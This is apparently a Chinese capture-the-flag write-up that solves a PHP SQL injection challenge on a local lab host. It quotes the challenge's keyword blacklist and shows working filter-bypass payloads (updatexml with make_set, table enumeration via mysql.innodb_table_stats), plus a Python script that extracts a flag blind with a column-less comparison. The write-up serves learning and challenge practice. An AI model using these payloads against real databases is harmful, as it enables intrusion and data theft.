记一次无列名注入
前言
做题
师傅给了我们源码
我们通过审计可以发现对id参数有经过了stop_hack函数过滤还有个in_array函数过滤,显而易见通过in_array函数的过滤可以绕过,因为这里第三个参数没有开,默认的是弱比较,也就是说我们传入'1 and 1=2' 也可过,因为php会在弱比较时转化1,具体可以看师傅博客
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
所以这里最主要的是要突破stop_hack函数,这里师傅给的wp是报错注入
因为union被过滤,我们不可以使用联合查询,考虑报错注入,但是报错注入要用到concat,concat被过滤了,我们可以使用make_set函数来实现绕过,当然还有其它payload,参考师傅博客
构造payload:
1 and updatexml(1,make_set(3,0x7e,(select flag from flag)),1)
但是师傅没有写明如何在过滤or的情况导致information无法使用该如何爆表名
我们可以通过mysql.innodb_table_stats
来代替information_schema.tables
实现爆表
构造payload:
4 and updatexml(1,make_set(3,0x7e,(select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1)),1)
通过控制limit的第一个参数来爆出不同的表名
但是又要怎么爆列名进一步爆flag
这里就要通过无列名注入了,参考博客这里我把*从黑名单了删了,因为过滤了*我实在不知道怎么绕过
首先判定有几列,可以通过
1 and ((1)>(select * from flag))
如果报错,说明不是一列
1 and ((1,1)>(select * from flag))
如果不报错了,就说明是一列
直接上脚本
import requests
import sys
url='http://127.0.0.1/viewphp/day1/'
#sql="1 and mid(database(),{0},1)='{1}'"
#sql="1 and mid((select table_name from mysql.innodb_table_stats where database_name=database() limit 1,1),{0},1)='{1}'"
sql="1 and (('{0}')>(select * from flag limit 0,1))"
x=''
for i in range(1,50):
print('guess:',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
flag=x+chr(ch)
sqli=sql.format(flag)
params={"id":sqli}
response=requests.get(url,params=params).text
# print(response)
if "name" in response:
x+=chr(ch-1)
print(x)
break
#table_name:users,flag
学到很多,in_array函数漏洞,还有make_set绕过concat,再就是mysql.innodb_table_stats绕过infromation,mid绕过substr,以及无列名注入